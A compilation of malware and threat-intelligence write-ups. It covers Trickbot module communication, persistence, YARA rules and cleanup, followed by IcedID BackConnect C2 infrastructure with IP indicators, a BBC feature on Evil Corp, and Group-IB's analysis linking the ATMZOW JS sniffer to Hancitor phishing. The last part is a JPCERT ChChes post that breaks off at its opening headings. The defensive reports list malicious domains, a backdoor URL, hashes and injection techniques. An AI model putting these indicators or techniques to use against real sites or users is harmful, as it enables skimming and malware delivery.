One of the interesting aspects of this malware is how it retrieves the information from the modules. It uses ReadProcessMemory over the child processes it has created. Below we will see the example where Trickbot (the core) reads what the systeminfo module returns. If we stop in one of the ReadProcessMemory that we have identified, we see that it passes the handle of the remote process as a parameter.
The memory address it wants to read is 0x2866f0. As we have already said, it wants to read it from the remote process svchost and at that moment what contains that memory address is the information collected by the module and that the core is accessing it. In this case, this information will be sent to C2 using the command 63. We have seen an example of how the Trickbot core and the "systeminfo" module have exchanged the information.
## 8. RELATED FILES
The analyzed samples of Trickbot to date have always been installed in the user’s %APPDATA% folder who executes it first. In this folder, it copies itself and creates two files:
- client_id: It contains an infected user ID generated from system data.
- group_tag: A campaign code which is in the internal configuration that can be found encrypted in the resources of the executable, once unpacked, along with the decryption key.
Apart from these files, if it has connectivity, it will download an updated configuration that will be saved as encrypted "config.conf" in the same folder, and will create a "Modules" folder. In the folder called Modules, it will download the modules that contain its encrypted configuration files, and folders with the configuration files of some of the modules. The folders with the configurations of each module will have names following the pattern: "<module name>_config".
When it obtains administration permissions, it copies itself to the folder: C:\Windows\System32\config\systemprofile\AppData\Roaming. After executing this action, it removes the executable from the Roaming folder of the initial user, leaving the modules and configurations intact.
## 9. DETECTION
First, manually, you can find the files mentioned in section 8 in the folder: %APPDATA%, the only case that can vary is the main executable that can be found with different names depending on their origin, since the others to date have not changed at any time. Depending on the scenario, you can also find one or two tasks called "bot" or "Drivers update", and "AplicationsCheckVersion", which will execute an application in the %APPDATA% directory every minute and when you log in respectively.
During its execution, it is easier to detect it among processes running on 32-bit computers, because it keeps the executable name replicated in %APPDATA%. On the other hand, 64-bit computers use the Microsoft svchost.exe process to hide when run by a normal system user. In the case of being invoked by the persistence task with SYSTEM permissions, it behaves the same as in 32-bit systems.
For automatic detection, there are no NIDS rules that can detect it through your traffic so far, since the fact that it is encrypted by SSL complicates it to a greater extent. Yara rules have been developed to detect it in memory, since the executable comes packaged with different types of systems for each campaign and version, preventing a common rule. The rules for detection in memory are as follows:
```plaintext
rule MALW_trickbot_bankBot : Trojan {
meta:
author = "Marc Salinas @Bondey_m"
description = "Detects Trickbot Banking Trojan"
strings:
$str_trick_01 = "moduleconfig"
$str_trick_02 = "Start"
$str_trick_03 = "Control"
$str_trick_04 = "FreeBuffer"
$str_trick_05 = "Release"
condition:
all of ($str_trick_*)
}
rule MALW_systeminfo_trickbot_module : Trojan {
meta:
author = "Marc Salinas @Bondey_m"
description = "Detects systeminfo module from Trickbot Trojan"
strings:
$str_systeminf_01 = "<program>"
$str_systeminf_02 = "<service>"
$str_systeminf_03 = "</systeminfo>"
$str_systeminf_04 = "GetSystemInfo.pdb"
$str_systeminf_05 = "</autostart>"
$str_systeminf_06 = "</moduleconfig>"
condition:
all of ($str_systeminf_*)
}
rule MALW_dllinject_trickbot_module : Trojan {
meta:
author = "Marc Salinas @Bondey_m"
description = "Detects dllinject module from Trickbot Trojan"
strings:
$str_dllinj_01 = "user_pref("
$str_dllinj_02 = "<ignore_mask>"
$str_dllinj_03 = "<require_header>"
$str_dllinj_04 = "</dinj>"
condition:
all of ($str_dllinj_*)
}
rule MALW_mailsearcher_trickbot_module : Trojan {
meta:
author = "Marc Salinas @Bondey_m"
description = "Detects mailsearcher module from Trickbot Trojan"
strings:
$str_mails_01 = "mailsearcher"
$str_mails_02 = "handler"
$str_mails_03 = "conf"
$str_mails_04 = "ctl"
$str_mails_05 = "SetConf"
$str_mails_06 = "file"
$str_mails_07 = "needinfo"
$str_mails_08 = "mailconf"
condition:
all of ($str_mails_*)
}
```
## 10. DISINFECTION
Taking into account the detection process, in case of finding traces of this threat in the system and that none of our system protection measures are able to detect or disinfect it, the ideal steps for disinfection would be to:
- Eliminate the task that is executed every minute, so that it does not restart the execution of the malware.
- Complete the Trickbot process with the task manager or with an application such as ProcessExplorer.
- Browse to the %APPDATA% folder where it is installed, to delete the main Trickbot executable and then the three files ("user_id", "group_tag" and "config.conf") and the Modules folder.
- Browse to the SYSTEM user's APPDATA folder (C:\Windows\System32\config\systemprofile\AppData\Roaming) to delete the same files from the SYSTEM user.
With this, we would have completely eliminated this threat from the system, although it would be advisable to review that the task of persistence has not been restored in case that just in the period of time between eliminating it and closing the process, it would have been in the early stages of execution and would have replaced it, although it would not be dangerous as it could not find the executable in the system.
On the other hand, in cases where the infection has been through an ExploitKit, it is likely that in addition to Trickbot, our system is infected with other types of malware, since they usually do not install a single sample, so performing analyses with different tools would be recommended, reaching formatting in sensitive cases.
## 11. ATTACKER INFORMATION
For the Trickbot infrastructure, as @hasherezade mentioned in its post in the blog of Malwarebytes, the IPs of its C2 correspond to devices such as Routers or IP Cameras (all tested with ARM processors) distributed by many different countries and in all the cases that we analyzed belonging to ISPs of each of the countries that we will see below. The distribution of C2 countries (based on the configurations collected) is shown in the following chart where you can see how the United States and China stand out.
Most affected systems have an access web interface such as the following. And in case of access by https to the URL formed by one of the Trickbot commands, the certificate that it shows us is still the same as in the first versions analyzed in the post mentioned above.
## 12. REFERENCES
- https://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot
- http://www.threatgeek.com/2016/10/trickbot-the-dyre-connection.html
- https://www.infosecurity-magazine.com/blogs/rig-ek-dropping-trickbot-trojan/
- https://devcentral.f5.com/articles/is-xmaker-the-new-trickloader-24372
- https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/
- https://fraudwatchinternational.com/malware/trickbot-malware-works/
- https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx
- https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890%28v=vs.85%29.aspx
- https://msdn.microsoft.com/es-es/library/windows/desktop/ms681674%28v=vs.85%29.aspx
- https://msdn.microsoft.com/es-es/library/windows/desktop/ms682437%28v=vs.85%29.aspx
## 13. AUTHORS
- Marc Salinas
- José Miguel Holguín
Ramiro de Maeztu 7, bajo
46022 Valencia
T. (+34) 963 110 300
F. (+34) 963 106 086
Orense, 85. Ed. Lexington
28020 Madrid
T. (+34) 915 678 488
F. (+34) 915 714 244
www.s2grupo.es |
# Inside the IcedID BackConnect Protocol
**S2 Research Team**
**December 21, 2022**
Deriving Threat Actor TTPs from Management Infrastructure Tracking
You can find our previous work on Stage 1 and Stage 2 of IcedID’s initial infection chain in our Dragons News Blog. Data on Stage 1 C2 infrastructure is now also shared as part of our Botnet Analysis and Reporting Service (BARS).
As part of our ongoing tracking of IcedID / BokBot, we wanted to share some insights derived from infrastructure associated with IcedID’s BackConnect (BC) protocol. When deployed post “initial” compromise, the BC protocol allows the threat actor(s) additional functionality, using the infected host as a proxy. Amongst other things, the BC protocol contains a VNC module, providing the malware operator(s) with a remote-access channel which can be brokered for profit.
For a comprehensive description of the BC protocol, we recommend this blog by Netresec. Furthermore, we must credit @malware_traffic for drawing upon his collection of threat actor telemetry data to confirm some of the observations shared in this post.
## Key Findings
- Eleven BC C2s identified since 01 July 2022, managed via two VPN nodes.
- Operators likely located in Moldova and Ukraine managing distinct elements of the BC protocol.
- Evidence of malicious use of the SpaceX Starlink network identified.
- Exposure of several tools and processes utilized by the operators, including temporary SMS messaging, file sharing, cryptocurrency wallets, and a favorite local radio station.
### Starting Point - 51.89.201.236
The starting point for our analysis is derived from the two sources mentioned above; although not a new phenomenon, reporting on the BC protocol is fairly scarce, with the last major point of reference, prior to the most recent coverage, being made in May 2020.
In early October 2022, an IOC (51.89.201.236:8080) derived from an IcedID infection was identified by @malware_traffic. The IOC was later attributed as a C2 server for the BC protocol by Netresec, noting a change in the auth value (0x08088b1f) used by the bot and C2 server for verification purposes.
With an active C2 server for the BC protocol identified, our first step was to examine our network telemetry data surrounding this IP address, looking for indications of management access, common peers, and subsequent similar patterns of activity, e.g., evidence of victim communications over TCP/8080.
Over time, by repeating this process, it was possible to identify two long-standing management IP addresses, which were observed in communication with 11 distinct BC C2 servers (including 51.89.201.236) since 01 July 2022.
Based on the data behind the C2 Server Timeline, we can state that the average life cycle for a BC C2 server, based on first and last observations of management traffic, is approximately four weeks and that there are generally one or two servers active at any given time. Additionally, in all cases, communications between the C2 and management servers commenced and ceased on a Monday to Friday schedule - indicating a degree of “professionalism” to the operation and a point which became a trend during this analysis.
### Auth Value Changes
Returning to the aforementioned auth value (0x08088b1f), based on our investigations, the campaigns involving 51.89.201.236 are the first time the “new” auth value was observed. However, this finding is caveated with the fact that relevant PCAP data was not available for the two preceding C2 IPs - 135.125.242.223 and 198.244.187.242. All prior C2s used the “previous” auth value (0x974f014a), which was associated with IcedID dating back a number of years. The change in auth value therefore likely happened at some point between 30 August and 22 September 2022.
### Management Insights
The remainder of this blog will focus on the two management IP addresses which have been associated with the operation of the BC protocol for at least half a year. These IPs consistently connect to the BC C2 servers on the same two (separate) static ports, one which hosts a VNC service and the second which we hypothesize is associated with the SOCKS proxy module.
#### VNC Management
The first observation with the VNC Management is that it appears to be a VPN node. When examining inbound connections, a large proportion take place on UDP/1194, a port commonly associated with OpenVPN as the service’s default port. The VNC Management IP is therefore most likely used for routing traffic / providing anonymization to the operator(s) and may not host any digital artifacts.
On the other side of the OpenVPN connections are numerous Moldovan IPs, the vast majority of which are assigned to a large residential broadband provider. In the 30-day period prior to the time of writing this report, 31 distinct Moldovan IPs were observed connecting to the VNC Management IP. Interestingly, the communications do not overlap, pointing towards a single user / access point.
Our hypothesis in this case is that the operator(s) of VNC Management IP are employing some operational security measures whilst operating from / via a residential access point. The data available points to an end user frequently rebooting their router in order to refresh their public IP address.
Turning to outbound connections, a number of observations can be made, indicating potential operator TTPs. Firstly, regular traffic to TeamViewer infrastructure was observed, indicating that the software may be installed on the operator’s machine, with usage routed through TeamViewer’s servers. Like VNC, TeamViewer has been used previously by threat actors for remote access management purposes, for example, it is leveraged to gain access to networks and establish persistence in ransomware operations.
Secondly, communications with a single Tor relay were observed over an extended period. This particular finding may be indicative of a single operator accessing the Tor network via the VNC Management IP. By default, the Tor browser utilizes a small pool of Guard relays, which is refreshed approximately every 60 days. Ongoing communications with a single Tor relay is therefore indicative of an end user accessing Tor via the Tor browser.
As each instance of the Tor browser has its own set of Guard relays, multiple users accessing the Tor network via the same VPN access point would result in the observation of connections to multiple Tor relays.
By examining the timeline of activity involving communications with this particular Tor relay, we can see that it was likely associated with the operator until 3 December 2022, when the Guard pool likely reset. Since this date we have not observed any further connections to Tor relays; likely as a result of a coverage gap.
The majority of the Tor activity fits to a Monday to Friday schedule, although there were some days where access took place over the weekend. Most notably on 5 and 6 November 2022, following a spike in activity on 3 November 2022. This activity coincided with a resurgence of Emotet activity, which included a new version of IcedID being dropped alongside it. The spike is therefore a possible indicator of collusion between the operators of Emotet and IcedID.
Aside from Tor, connections were also observed to IPs assigned to Telegram, indicating likely use of Telegram messenger. This finding is not particularly exciting (Telegram is used widely), but serves to highlight the overall TTPs of the VNC Management IP operators. More interestingly, traffic to onlinesim[.]ru caught our attention. This website appears to provide temporary ‘virtual’ numbers to be used for sending / receiving SMS messages. By virtue of the fact that this domain was accessed via the same infrastructure as is used to manage the BC C2s, it can be inferred that these temporary numbers serve a purpose in the overall process; although the exact use-case is currently unknown.
Another indicator for operator attribution came in the form of connections to an API for a local radio station based in Chelyabinsk, Central Russia. We have two hypotheses for this activity: a) the API is embedded in another website and is pulling data from the radio station in Chelyabinsk, or b) the operator has some ties to that particular region of Russia; an expat living in Moldova?
Finally, we observed RDP connections to a set of IPs that share a distinct machine name; however, it is unclear what the purpose of these connections are beyond the obvious use of the RDP protocol.
#### SOCKS Management
Intriguingly, although the SOCKS Management IP serves a similar purpose to the VNC Management IP, there are variations in both how this is accomplished and by whom. Like the VNC Management IP, the SOCKS Management IP appears to be a VPN node, masking the true location of the operator(s), used to funnel not only BC protocol-related communications, but also other (mostly) connected activities.
Inbound traffic to the SOCKS Management IP is observed over UDP/51820, the default port for the open-source WireGuard VPN service. Noting the similar use of an (albeit different) open-source, and likely private, VPN service.
On the other end of these communications are a handful of IPs assigned to providers in Ukraine. Most significantly, several of these IPs are attributable to ‘SpaceX Starlink’ infrastructure provided to Ukraine to help maintain Internet connectivity since the commencement of Russia’s “special operation” / illegal invasion in February 2022. It is possible that this is the first example of the Starlink infrastructure being used by cyber criminals.
Beyond the Ukrainian IPs, in this case, it is difficult to attribute the management activity more specifically; as the infrastructure is likely utilized by tens, or even hundreds of users at any given time.
Looking at outbound connections from the SOCKS Management IP, there is similar use of Tor and Telegram. Although, in the case of Tor, this may be more indicative of some form of automated or hidden service-related activity as communications with numerous Tor relays were observed. This is in comparison with the VNC Management IP which appeared to only communicate with the one Tor relay; matching more closely the ‘expected’ behavior of an individual using the Tor browser.
Additionally, a large volume of connections, both inbound and outbound, over TCP and UDP/33445 were observed, generally associated with Tox messenger. Tox has been utilized by cyber criminals in the past, including for C2 purposes. The default port for Tox is UDP/33445; however, mobile connections default to TCP - it is therefore possible that the operator(s) of the SOCKS Management IP are using it to access Tox on both desktop and mobile.
In much the same way as the BC C2s have a life cycle of around four weeks, the SOCKS Management IP also communicates with cloud infrastructure (accessed via SSH) with the cloud peer IP changing over time. However, it was noted that all of the cloud IPs displayed the same unique SSH Server Host Key, indicating a likely consistent setup.
Finally, looking at outbound web-browsing activity (TCP/80 and TCP/443), the SOCKS Management IP is used to access IP addresses associated with Gofile (file sharing), ProtonMail, Trezor (cryptocurrency wallet), and a not insignificant number of pornographic sites.
## Conclusion
This blog serves two purposes: the first is to highlight our tracking of BC C2 infrastructure, sharing details of C2 servers and the process we undertake behind the scenes in order to identify them. We will continue to share details of new / emerging BC C2 servers via our Twitter account @teamcymru_S2.
The second is to provide a snapshot into a ‘day in the life of’ the BC operators, and in doing so, providing wider context on threat actor TTPs. In the case of BC, there appears to be two operators managing the overall process within distinct roles. Much of the activity we observe and have described in this blog occurs during the typical working week (Monday to Friday). Both of these points indicate a degree of ‘professionalism’ in the operation of the BC protocol, and by extension IcedID itself.
Evidence of a ‘dispersed’ workforce undertaking specific tasks may also help to explain some of the variations in the TTPs observed. Whilst seemingly using two distinct VPN services, we can see an overall ‘playbook’ in use, i.e., it’s best practice to use a VPN for purposes of anonymization. The fact that both services are configured with default settings indicates either laziness, attempts to ‘hide within the noise’, or a lack of understanding / appreciation of the tooling in use.
We were surprised that beyond the use of a VPN node, very few steps appear to have been taken to cover the operators’ tracks; we think this speaks to a confidence in ‘invincibility’, by operating from regions where law enforcement action is difficult to effect / prioritize. The use of services like ProtonMail, TeamViewer, and Telegram is commonly observed within threat actor operator playbooks, and these mainstream tools continue to be used by maliciously motivated individuals. Services like Gofile and onlinesim[.]ru may point to more ‘operator-specific’ TTPs, whilst also highlighting a general use of file sharing and temporary SMS platforms.
Finally, by highlighting a number of areas where we still have question marks in our understanding, we hope that we can encourage future collaboration on the BC protocol. We hope that this blog post has been informative and has served to provide confidence in the IOCs which we have previously shared on this subject matter.
## IOCs
**BackConnect C2 Servers**
- 135.125.242.223
- 135.181.175.108
- 137.74.104.108
- 176.31.136.226
- 185.156.172.97
- 188.40.246.37
- 198.244.187.242
- 198.251.84.61
- 212.114.52.91
- 51.195.169.87
- 51.89.201.236 |
# Evil Corp: My Hunt for the World's Most Wanted Hackers
By Joe Tidy
Cyber reporter
Published 17 November 2021
Many of the people on the FBI's cyber most wanted list are Russian. While some allegedly work for the government earning a normal salary, others are accused of making a fortune from ransomware attacks and online theft. If they left Russia they'd be arrested - but at home they appear to be given free rein.
"We're wasting our time," I thought, as I watched a cat licking the carcass of a discarded takeaway chicken. Surely there would no longer be any trace of an alleged multi-millionaire cyber-criminal on this dilapidated estate in a run-down town 700km (400 miles) east of Moscow. But I pressed on with an interpreter and cameraman, shooing the mangy cat away from the entrance to the block of flats.
When we knocked at one of the doors, a young man answered and a curious elderly woman peered around the corner at us from the kitchen. "Igor Turashev? No, I don't recognise the name," he said. "His family is registered here, so who are you?" we asked. After some friendly chat we explained we were reporters from the BBC, and the mood suddenly changed. "I'm not telling you where he is and you shouldn't try to find him. You shouldn't have come here," the young man said angrily.
I didn't sleep well that night, thinking of the conflicting advice I'd been given by people in the security sector. Some said trying to track down wanted cyber-criminals on their home soil was risky. "They'll have armed guards," I was told. "You'll end up in a ditch somewhere," another warned. Others said it would be fine - "They're just computer geeks." All said we wouldn't get anywhere near them.
In a press conference two years ago, the FBI named nine members of the Russian hacking group, Evil Corp, accusing Igor Turashev and the gang's alleged leader, Maksim Yakubets, of stealing or extorting more than $100m in hacks affecting 40 different countries. The victims range from small businesses to multinationals like Garmin, as well as charities and a school. They're just the ones we know about.
The US Department of Justice says the men are "cyber-enabled bank robbers" staging ransomware attacks, or hacking into accounts to steal money. The announcement made Maksim Yakubets, then only 32, a poster boy for the playboy Russian hacker. Footage of the gang obtained by the UK's National Crime Agency showed the men driving custom Lamborghinis, laughing with wads of cash and playing with a pet lion cub.
The FBI's indictment of the two men was the result of years of work, including interviews with former gang members and the use of cyber-forensics. Some information dated back as far as 2010, when Russian police were still prepared to collaborate with their US colleagues. Those days are long gone now. The Russian government routinely brushes off US hacking accusations against its citizens. In fact, not only are the hackers allowed to carry on, they are recruited by the security services too.
Our investigation into Maksim Yakubets began in an unlikely place - a golf course about two hours outside Moscow. This was the venue for his spectacular wedding in 2017, a video of which was spotted by Radio Free Europe/Radio Liberty and widely shared. Tellingly, Yakubets' face is never shown in the footage, filmed by a wedding video production company, but he can be seen dancing to live music performed by a famous Russian singer under a beautiful light show.
Wedding planner Natalia wouldn't go into specifics about Yakubets' big day but showed us around some of the key locations, including a pillared building carved out of the hills near a lake. "It's our exclusive room," she said. "The newlyweds love to get inside for photo shoots and romance." As we were driven around by golf cart I did some maths. With what we were being told, this grand wedding would have cost considerably more than the estimates I'd heard previously of around $250,000. The price tag was potentially closer to half a million dollars, or even $600,000. We don't know how the special day was paid for, but if Yakubets picked up the bill it's an indication of just how lavish his lifestyle is.
Nor is Igor Turashev, 40, keeping a low profile. Using public records, my colleague Andrey Zakharov, BBC Russia's Cyber Reporter, found three companies registered in his name. All have offices in Moscow's prestigious Federation Tower, a shiny skyscraper in the financial district that wouldn't look out of place in Manhattan or London's Canary Wharf. A puzzled receptionist looked for a phone number, and found that the offices didn't have one. She did find a mobile phone under the firm's name though, and put us through. We called it and waited. A Frank Sinatra song played for about five minutes, then finally someone picked up, sounding as though he was on a busy street - only to hang up when we said we were journalists.
As Andrey explained, Turashev is not wanted in Russia so no-one is stopping him renting this expensive city-centre office space. It may also be convenient for him to be located among financial companies, including some that deal in the cryptocurrencies, such as Bitcoin, that Evil Corp is alleged to have collected from victims in ransomware attacks - reportedly $10m-worth in one case. A Bloomberg report using research from Bitcoin analysts Chainalysis claims that the Federation Tower houses numerous crypto firms that act like "cash machines for cyber-criminals."
We tried two other addresses linked to Turashev and another key Evil Corp figure called Denis Gusev, and made numerous approaches by phone and email, but no-one answered. Andrey and I spent a long time trying to find a place of work for Maksim Yakubets. He used to be a director of his mother's cattle feed company, but these days he appears to have no registered business or employer. What we did find, though, were addresses where he might still live, so one night we went to give them a knock. At one, a man laughed over the intercom as we explained where we were from. "Maksim Yakubets isn't here. He hasn't been here for probably 15 years. I'm his dad," he said.
To our surprise Yakubets senior then came out into the hallway and gave us an impassioned 20-minute interview on camera, angrily condemning the US authorities for indicting his son. The $5m US reward for information leading to his son's arrest - the highest ever bounty for a named cyber-criminal - had led the family to live in fear of attack, Mr Yakubets said, demanding that we publish his words. "The Americans created a problem for my family, for many people who know us, for our relatives. What was the purpose? American justice has turned into Soviet justice. He was not questioned, he was not interrogated, there were no procedures that would prove his guilt." He denied that his son was a cyber-criminal. When I asked how he thought he had become so rich, he laughed, saying that I was exaggerating the price tag of the wedding and that the luxury cars were rented. Maksim's salary was higher than average, he said, because "he works, he gets paid, he has a job." "What does he do for work then?" I asked. "Why should I tell you?" he replied. "What about our private lives?" He said he hadn't had any contact with his son since the indictment, so could not put us in touch with him.
Yakubets and Turashev are part of the growing list of Russian citizens to be issued with cyber-sanctions as the West struggles to respond to cyber-attacks. More Russian people and organisations have been sanctioned and indicted than those of any other nationality. Indictments prevent the hackers from travelling abroad, while the sanctions freeze any assets they have in the West, and ban them from doing business with Western firms. Last year the European Union started issuing cyber-sanctions, following in the US's footsteps, and it's mainly Russians who have been named and shamed on this list too. The vast majority of the individuals on these lists are said to have direct links to the Russian state, hacking in order to spy, project power or exert pressure. While all nations hack each other, the US, EU and allies claim that some of the Russian attacks cross a line, in terms of what is acceptable.
Some of the men are accused of causing widespread blackouts in Ukraine by hacking power grids. Others are wanted for trying to hack into a chemical weapons testing facility in the wake of the Salisbury poisonings. The Kremlin denies all accusations, routinely laughing them off as Western hysteria and "Russophobia." As there are no clear rules for what is acceptable nation state hacking, we deliberately concentrated our investigation on the individuals accused of being criminals, hacking for profit.
So do cyber-sanctions against "criminal" hackers work? Speaking to Yakubets' father it seems that they do have some impact - at the very least they made him furious. However, Evil Corp appears to have been unaffected. Cyber-security researchers allege the crew are still carrying out lucrative cyber-attacks on mainly Western targets. The "golden rule" of Russian hacking, according to researchers and former hackers, is that non-state-employed criminal hackers can hack who they like, as long as the victims are not in Russian-speaking or former Soviet territories. The rule appears to work, as cyber-security researchers have for many years noticed fewer attacks in those countries. They've also found that some malware is designed to avoid computers with Russian language systems.
Lilia Yapparova, an investigative reporter working at Meduza, one of few independent news organisations in the country, says the golden rule is helpful for the intelligence services, which can then exploit the skills hackers have developed while working for themselves. "It's more valuable for the FSB to enlist hackers in Russia than to put them in jail. One of my sources, who is an ex-FSB officer, told me that he personally tried to enlist some of the guys from Evil Corp to do some work for him," she says. The US claims that Maksim Yakubets and other wanted hackers - including Evgeniy Bogachev, who has a $3m bounty out for his arrest - have worked directly for the intelligence services.
It may not be a coincidence that Yakubets' father-in-law, seen in the wedding video, is a former high-level member of the FSB. We asked the Russian government to comment on the fact that hackers seem to operate freely in Russia, but received no reply. When Vladimir Putin was asked about this at the Geneva summit with Joe Biden this summer, he denied that high-profile attacks were originating in his country and even claimed that most cyber-attacks began in the US. But he said he would work with the US to "bring order."
## The Rise of Evil Corp
- **2009:** Evil Corp arrives on the scene, allegedly using malware called Cridex, Dridex, Bugat or Zeus to steal banking logins and grab money from accounts.
- **2012:** Members of Evil Corp are indicted by a court in Nebraska under their online monikers, as their identities are unknown (Yakubets allegedly goes under the name "Aqua").
- **2017:** The crew is accused of starting a "ransomware as a service" (RaaS) operation - it's claimed other hackers pay to use their ransomware, called BitPaymer.
- **2019:** Yakubets, Turashev and seven others are indicted, sanctioned or designated in the US - a $5m bounty is offered for information leading to Yakubets' arrest.
- Since 2019, Evil Corp is alleged to have cycled through different brands and variants of ransomware including DoppelPaymer, Grief, WastedLocker, Hades, Phoenix and Macaw.
In the last six months the US and its allies have gone beyond cyber-sanctions and started employing a far more aggressive tactic. They have begun hacking back against cyber-crime gangs and have successfully taken some of them offline, at least temporarily. REvil and DarkSide have announced on forums that they are no longer operating because of law enforcement action. On two occasions US government hackers have even managed to retrieve millions of dollars of Bitcoin stolen from victims. An international effort involving Europol and the US Department of Justice has also seen alleged hackers arrested in South Korea, Kuwait, Romania and Ukraine. However, cyber security researchers say more groups are surfacing, and attacks are occurring every week. The phenomenon will not go away, they say, as long as hackers can flourish in Russia. |
# Links between ATMZOW JS-sniffer and Hancitor
**Victor Okorokov**
Group-IB lead Threat Intelligence analyst
The hacker group ATMZOW and its JavaScript-sniffer became known in 2020, thanks to the Malwarebytes researchers, when the group installed a JS sniffer on a website that was collecting donations for victims of the Australia bushfires. However, based on a specific obfuscation technique used by the group, we can track its activities back to 2015 as "Magento Guruincsite malware". Moreover, one of the first domain names used by the group was created in 2016.
According to Group-IB Threat Intelligence data, ATMZOW has successfully infected at least 483 websites belonging to the domain zones of Italy, Germany, France, UK, Australia, India, Brazil, etc. since the beginning of 2019. Group-IB specialists collected information about ATMZOW’s recent activity and found ties with a phishing campaign targeting clients of a US bank based on the same JS obfuscation technique and a connection between the domain names used for the JS sniffer and the phishing domains on account of the same email address used. Further analysis showed that the same phishing kit was used during the activity of Prometheus TDS, when an unknown adversary used phishing pages as a final redirect when distributing Hancitor malware. With moderate confidence, we can conclude that both the ATMZOW JS sniffer campaign and related phishing attacks could have been conducted by the Hancitor group.
## ATMZOW: recent activity
In May 2022, Group-IB specialists discovered that ATMZOW started using Google Tag Manager (GTM) to deliver malicious payloads. Google Tag Manager is a tag management system that allows website owners to quickly and easily update various code snippets known as tags on websites and mobile apps. The hackers created a Google Tag Manager link with ID GTM-WNV8QFR and started using legitimate GTM code to inject JS sniffers. Injection starts with a common GTM snippet.
This GTM script contains a specific tag ("vtp_html") with the next stage injector. Executing the script loaded by Google Tag Manager appends the injector to the DOM of the infected website. The injector checks if the current user's address in the address bar contains a "checkout" substring. If it does, the injector loads the final payload from `https://designestylelab[.]com/css/`. The script loaded from `https://designestylelab[.]com/css/` is a sample of the ATMZOW JS sniffer, but it contains an additional layer of obfuscation.
If we remove the junk symbols from the long string in this sample, we obtain a Base64-encoded string. After decoding, we obtain an ATMZOW sample with its common obfuscation. After decrypting the strings used in this sample, we obtain a clean script of the ATMZOW JS sniffer.
## Phishing campaign
In January 2022, Group-IB specialists detected several phishing pages targeting clients of a US-based bank. The pages used IDN domain names. A noteworthy fact about the pages is that they have a JavaScript script, which was presumably obfuscated by the same tool as used by ATMZOW for the group’s samples of JS sniffers.
Since then we have detected only 7 unique domains used for phishing pages with a similar obfuscated JS:
- `xn--kys-nvigatorky-zp8g5mna[.]com`
- `xn--kynavigatos-ky-pwc6541jna[.]com`
- `navlgator-kcy[.]com`
- `xn--kyavigator-ky-jjc7914ima[.]com`
- `xn--ky-vigatorkey-kjc9383i4ka[.]com`
- `xn--key-vigatrs-key-wuc9688j1wa[.]com`
- `xn--keyvigatrs-key-7oc4531jsva[.]com`
## Connection between the JS-sniffer and the phishing campaign
When we detected the same obfuscation technique on a phishing website for the first time, we hypothesized that the method was not unique to ATMZOW, but that other hackers could be using the same obfuscator. However, further analysis of the group's recent activity showed additional evidence that attacks involving the JS sniffer and the phishing campaign were conducted by the same group.
When ATMZOW started using Google Tag Manager as the initial stage of their infections, they used a website with the domain name `designestylelab[.]com` as the storage location for their payloads. With a patented technology named Group-IB Graph, we discovered that this domain was created using the email address `[email protected]`. The same email address was used to create two more IDN domains for phishing pages targeting clients of the same bank as the pages with the ATMZOW-like obfuscation, which we first detected in January 2022:
- `kẹy-ņạvigatorkey.com` (xn--ky-vigatorkey-kjc9383i4ka[.]com)
- `key-ņạvigatọrskey.com` (xn--key-vigatrskey-8oc4531jsva[.]com)
In addition, one of these domains created with the email address `[email protected]` (xn--ky-vigatorkey-kjc9383i4ka[.]com) was tagged as a phishing page with ATMZOW-like obfuscated JS script. It was detected on January 27, 2022. Based on the same JS obfuscation technique and the connection between the domain names used for the JS sniffer and the phishing domains (the same email address), we can conclude with a high degree of reliability that both campaigns were conducted by the same threat group.
## Connection between the phishing campaign and Hancitor malware
While analyzing Prometheus TDS, Group-IB Threat Intelligence specialists detected several cases when phishing pages targeting clients of the same bank were used as a final redirect after downloading the malicious payload distributed by Prometheus TDS. In all cases, the malicious payload was Microsoft Office documents with a macro that dropped Hancitor malware.
For example, a common method of distribution via Prometheus TDS was the use of Google Docs with a link to the compromised website with Prometheus.Backdoor installed. In this case, the Prometheus.Backdoor link was `hXXp://www.swingsidebilbao[.]com/wp-content/plugins/contact-form-7/includes/block-editor/carl.php`. If a user clicked on the link, they would receive a malicious Office document "0210_4367220121562.doc" (SHA1: `be3effcb9069ac6d66256c8246fde33e55980403`) and then would be redirected to the phishing website `hXXps://xn--keynvigatorkey-yp8g[.]com/ktt/cmd/logon0210_4367220121562.doc`. If the user opened the malicious document and enabled macros then, the document would drop the Hancitor DLL (SHA1: `17693bca881ec9bc9851fcb022a664704c048b9d`).
As we can see, in this case the hackers used IDN domains again to spoof a real banking website. Moreover, if we compare unique URLs generated while analyzing phishing pages from both campaigns, it is clear that both phishing pages were created using the same kit, with slight modifications. Based on the information we collected, we can therefore conclude with a high degree of reliability that both clusters of phishing pages are part of a long-running phishing campaign conducted by one cybercriminal group.
## IoCs
**Phishing websites with ATMZOW-like obfuscation**
- `xn--kys-nvigatorky-zp8g5mna.com`
- `xn--kynavigatos-ky-pwc6541jna.com`
- `navlgator-kcy.com`
- `xn--kyavigator-ky-jjc7914ima.com`
- `xn--ky-vigatorkey-kjc9383i4ka.com`
- `xn--key-vigatrs-key-wuc9688j1wa.com`
- `xn--keyvigatrs-key-7oc4531jsva.com`
**Phishing websites detected in the Hancitor campaign with Prometheus TDS**
- `xn--avigatorkey-56b.com`
- `xn--nvigators-key-if2g.com`
- `xn--keynvigatorkey-yp8g.com`
- `xn--xprss53-s8ad.com`
**ATMZOW GTM ID**
- GTM-WNV8QFR
**ATMZOW JS sniffer storage**
- `designestylelab.com`
**ATMZOW JS sniffer gates**
- `gvenlayer.com`
- `metahtmlhead.com`
- `winsiott.com`
- `congolo.pro`
- `vamberlo.com`
- `nmdatast.com`
- `seclib.org` |
# Anti-analysis Technique for PE Analysis Tools – INT Spoofing
## PlugX + Poison Ivy = PlugIvy? - PlugX
### ChChes – Malware that Communicates with C&C Servers Using Cookie Headers
Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organizations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.
This blog article will introduce characteristics of ChChes, including its communication.
### ZIP Files Attached to Targeted Emails
While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.
### Communication of ChChes
